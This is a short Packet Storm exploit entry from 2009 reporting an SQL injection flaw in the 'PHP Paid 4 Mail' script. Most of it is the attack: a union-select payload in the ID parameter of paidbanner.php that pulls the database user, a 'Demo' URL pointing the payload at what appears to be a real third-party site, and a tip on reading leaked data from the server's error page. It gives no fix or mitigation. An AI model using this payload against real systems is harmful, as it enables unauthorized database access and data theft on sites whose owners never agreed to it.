PHP Paid 4 Mail SQL Injection

2009-07-28T00:00:00
ID PACKETSTORM:79709
Type packetstorm
Reporter ThE g0bL!N
Modified 2009-07-28T00:00:00

Description

                                        
                                            `###########################################################################################  
[+] PHP Paid 4 Mail Script (ID) SQL Injection Vulnerability  
[+] Discovered By ThE g0bL!N  
[+] http://www.h4ckf0ru.com & http://sec-art.com/cc/  
############################################################################################  
[+]Homepage : http://www.shop-020.de  
[+] Exploit: /paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--  
[+] Demo: http://www.city-demo.at/mail/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--  
[+] Note : You can see the information like this "The requested URL /mail/[INFORMATION SQL] was not found on this server."  
-------------------------------------------------------------------------------------------  
  
  
`